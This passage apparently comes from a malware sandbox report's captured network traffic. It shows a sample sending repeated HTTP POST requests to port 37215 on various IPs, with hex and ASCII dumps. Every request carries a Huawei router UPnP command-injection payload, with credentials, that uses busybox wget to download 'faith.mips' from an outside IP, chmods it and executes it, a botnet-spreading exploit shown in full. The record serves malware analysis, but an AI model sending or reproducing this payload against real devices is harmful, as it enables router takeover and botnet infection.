61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:14.229924917 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	40622	94.122.124.231	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:15.157308102 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:19.197547913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:25.340676069 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:37.371010065 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:01.943633080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:51.088656902 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	59126	94.122.21.86	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:15.170644999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	56368	156.230.24.196	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:15.774697065 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 